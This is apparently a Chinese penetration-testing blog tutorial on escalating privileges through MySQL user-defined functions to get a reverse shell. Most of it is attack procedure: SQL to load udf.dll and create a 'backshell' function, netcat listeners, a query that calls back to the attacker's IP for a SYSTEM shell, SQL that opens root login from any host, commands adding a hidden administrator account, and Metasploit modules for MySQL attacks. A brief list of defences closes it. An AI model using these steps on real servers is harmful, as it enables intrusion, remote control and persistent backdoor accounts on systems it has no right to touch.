提权学习:MySQL反弹Shell提权


当你的才华

还撑不起你的野心时

那你就应该静下心来学习


目录

mysql反弹shell提权

0x01 介绍

0x02 适用场景

0x03 前言

0x04 手工操作

0x05 MSF 反弹Shell

0x06 额外拓展知识


 

MySQL 反弹shell提权

0x01 介绍

      mysql提权之反弹shell,其实这也属于udf提权,只不过应用场景不同,比如现在我们没有webshell但是我们却有偶然得到了mysql的root密码(弱口令等),恰巧目标机的数据库可以外联或者有phpmyadmin,那么我们就可以把上面udf.dll文件的内容先插入到数据表中,然后再导出到/lib/plugin目录。

      注:这里我看到网上的资料都是讲mysql.txt导入到数据库中,mysql.txt也就是udf.dll文件的2进制转换为16进制,这里我不太清楚为什么需要转成十六进制,但是我知道如果udf.dll文件成功导入到plugin目录是可以成功反弹shell的

0x02 适用场景

      取较高权限的,比如获取webshell,或者获取到webshell无法执行高权限命令的。特别是有了SQL执行权限(可读可写),比如SQL注入漏洞、能远程连接数据库,无法验证权限是否提升的,比如你不知道能执行系统命令,却不知道命令是否成功,根本没有一个直接的反馈。又比如你成功创建了一个管理员用户,却发现服务器3389没对你开放或设置了连接的白名单。等等情况,相信在渗透中,都挺折磨人的。

0x03 前言

回顾一下之前UDF提权的内容

原理
      UDF提权是利用MYSQL的自定义函数功能,将MYSQL账号转化为系统system权限

利用条件

      Mysql版本大于5.1版本。udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
      Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。
      掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备`root账号所具备的权限的其它账号也可以。
      可以将udf.dll写入到相应目录的权限。
      注:关于plugin目录,可在mysql中执行

show variables like '%plugin%';

   进行查看,这个目录也就是dll文件需要导入的目录

利用方式

            传送问地址:https://blog.csdn.net/God_XiangYu/article/details/99785627

0x04 手工操作

创建函数backshell

CREATE FUNCTION backshell RETURNS STRING SONAME 'mysqldll.dll'; //创建backshell

在具备独立主机的服务器上执行监听

nc -vv -l -p 12345

最后就是执行backshell

select backshell("你的ip地址",12345);

通过webshell将udf.dll导入plugin目录,如果成功返回了shell则说明成功了,我们就可以添加用户了

或另外一种方式

提权学习:MySQL反弹Shell提权_第1张图片

 

0x05 MSF 反弹Shell

msf 内置关于mysql插件如下(部分非测试mysql 插件)

# 关于msf常用攻击mysql插件如下:
1. auxiliary/scanner/mysql/mysql_login

2. exploit/multi/mysql/mysql_udf_payload

3. exploit/windows/mysql/mysql_mof

4. exploit/windows/mysql/scrutinizer_upload_exec

5. auxiliary/scanner/mysql/mysql_hashdump

6. auxiliary/admin/mysql/mysql_sql

7. auxiliary/scanner/mysql/mysql_version

我们使用 exploit/multi/mysql/mysql_udf_payload 模块来反弹Shell(常用于root启动的mysql 并root的udf提权)

auxiliary/scanner/mysql/mysql_login(常用于内网中的批量以及单主机的登录测试)

exploit/multi/mysql/mysql_udf_payload(常用于root启动的mysql 并root的udf提权)

exploit/windows/mysql/mysql_mof(以上类似,提权)

exploit/windows/mysql/scrutinizer_upload_exec(上传文件执行)

auxiliary/scanner/mysql/mysql_hashdump(mysql的mysql.user表的hash)

注:mysql_hashdump这个插件相对其他较为少用。一般情况建议使用sql语句:更直观,更定制化

auxiliary/admin/mysql/mysql_sql(执行sql语句,尤其是在目标机没有web界面等无法用脚本执行的环境)

auxiliary/scanner/mysql/mysql_version(常用于内网中的批量mysql主机发现)

 

0x06 额外拓展知识

Mysql数据库反弹端口连接提权


      在渗透或者安全评估时,有可能遇到一些比较奇葩的环境,即使通过Mysql root账号和密码获取了webshell,由于无法执行命令,在一般的情况下,也就放弃了,但其实可以换一种思路,通过mysql查询来直接提权,可以针对以下场景:
(1)通过网站无法获取webshell
(2)Webshell无法执行命令
(3)有phpmyadmin和root账号,无法查询或者无法获取网站的真实路径

1.1 反弹端口连接提权的条件
   1. 访问Mysql数据库
       获取了数据库root账号和密码或者相当于root权限的账号和密码,同时能够执行查询命令。换句话说可以通过phpmyadmin连接、通过网站后台的执行数据库命令或者“Navicat for MySQL”等客户端软件连接。
   2. 可导出文件udf.dll到系统目录或者Mysql数据库安装目录下的lib下的plugin目录。

       如果有上传条件,可以直接上传udf.dll到对应目录。Mysql5.1以下版本到c:\winnt\system32或者c:\windows\system32目录,Mysql5.1以上版本到Mysql安装目录下的plugin 目录,例如D:\ComsenzEXP\MySQL\lib\plugin。
   3.授权mysql数据库远程用户登录
   可以修改host为%,更新权限,然后通过Navicat for MySQL连接数据库,直接打开命令提示窗口进行导出。
允许远程用户登录访问mysql的方法,需要手动增加可以远程访问数据库的用户。

方法一:本地登入mysql,更改 "mysql" 数据库里的 "user" 表里的 "host" 项,将"localhost"改为"%"
 

use mysql;
update user set host = '%' where user = 'root';
FLUSH PRIVILEGES ;

方法二:直接授权
从任何主机上使用root用户,密码:youpassword(你的root密码)连接到mysql服务器:

GRANT ALL PRIVILEGES ON . TO 'root'@'%' IDENTIFIED BY 'youpassword' WITH GRANT OPTION;
FLUSH PRIVILEGES;

1.2具体实现方法
1. 连接mysql服务器
(1)通过mysql客户端工具可以直接连接
(2)通过phpmyadmin进行连接
(3)通过mysql.exe直接连接
2. 执行查询命令
(1)网上提供的“. c:\mysql.txt”命令会出错,最好通过phpmyadmin或者Navicat for MySQL等工具来进行查询。修改mysql.txt中的最后一行代码“select backshell("YourIP",4444);”为自己反弹的IP和反弹监听的端口。
(2)本地开启监听反弹的端口
nc.exe -vv -l -p  4444
(3)执行mysql查询,将mysql.txt文件内容复制到查询中执行。
成功后,你将获得一个system权限的cmdshell。
3. 添加用户或者获取管理员密码
   通过反弹shell添加用户antian365,密码www.antian365.com
net user antian365 www.antian365.com /add
net localgroup administrators antian365

1.3 一个提权实例
1. 在反弹监听服务器上进行端口监听
      通过cmd命令提示符,执行nc监听命令:nc –vv –l –p 4444,表示在本地监听4444端口。如果是在公网上,这反弹监听服务器必须有独立IP,如果是内部网络,则可以直接使用内网IP,如图1所示。

提权学习:MySQL反弹Shell提权_第2张图片

                               图1进行监听
2. 修改mysql.txt文件中反弹地址
      在mysql.txt文件中将最后一行代码修改为前面设置的监听IP地址和端口,如图2所示.

例如代码:
      select backshell("192.168.40.135",4444);//反弹监听服务器IP192.168.40.135,端口4444

提权学习:MySQL反弹Shell提权_第3张图片

                                                              图2 修改查询代码中反弹shell地址和端口
这个也可以再次单独查询:select backshell("192.168.40.135",4444);
3. 执行查询
可以通过mysql命令行下执行,也可以通过phpmyadmin查询窗口以及一些mysql客户端查询进行,如图3所示执行查询。

提权学习:MySQL反弹Shell提权_第4张图片

                                                                            图3 执行mysql查询
说明:

(1)如果已经存在ghost表和backshell函数,可以执行以下命令进行删除:
drop table ghost;
drop FUNCTION backshell;
(2)如果已经存在udf.dll,则可以跳过导出命令,执行:
CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll';

3. 查看反弹结果
      如图4所示,显示通过连接mysql执行查询获取的终端反弹shell,在该shell下可以直接执行net user、whoami等命令查看当前权限。

提权学习:MySQL反弹Shell提权_第5张图片

                                                                图4 查看反弹结果
1.4 防范方法
1. 查看mysql数据库中user表授权的登录host,禁止具备Root账号权限的用户通过“%”进行登录。
2. 禁止在网站CMS系统使用root账号进行配置。
3. 设置root账号的密码为强密码。
4. 对Mysql执行程序进行降权,禁止网站用户读取user.frm、user.myd、user.myi。

例如,D:\ComsenzEXP\MySQL\data\mysql下的user表文件user.frm、user.myd、user.myi要禁止网站用户读取和下载。
5. 检查mysql数据库下的mysql表中是否存在其它无关表,检查func表中的内容。
6. 可以在相应的目录下建立一个udf.dll空文件,并严格设置权限,任何人无读取和写入权限。
文中提及的mysql.txt以及udf见附件。

提权学习:MySQL反弹Shell提权_第6张图片

提权学习:MySQL反弹Shell提权_第7张图片

提权学习:MySQL反弹Shell提权_第8张图片

 

 

参考链接:

                https://www.jianshu.com/p/ce9f8cc4d16b

                https://www.waitalone.cn/mysql-tiquan-summary.html

                http://hacker-chengyu.lofter.com/post/1d1568f4_e8c2efe

 


我不需要自由,只想背着她的梦

一步步向前走,她给的永远不重


 

你可能感兴趣的:(渗透测试,提权学习,后渗透篇)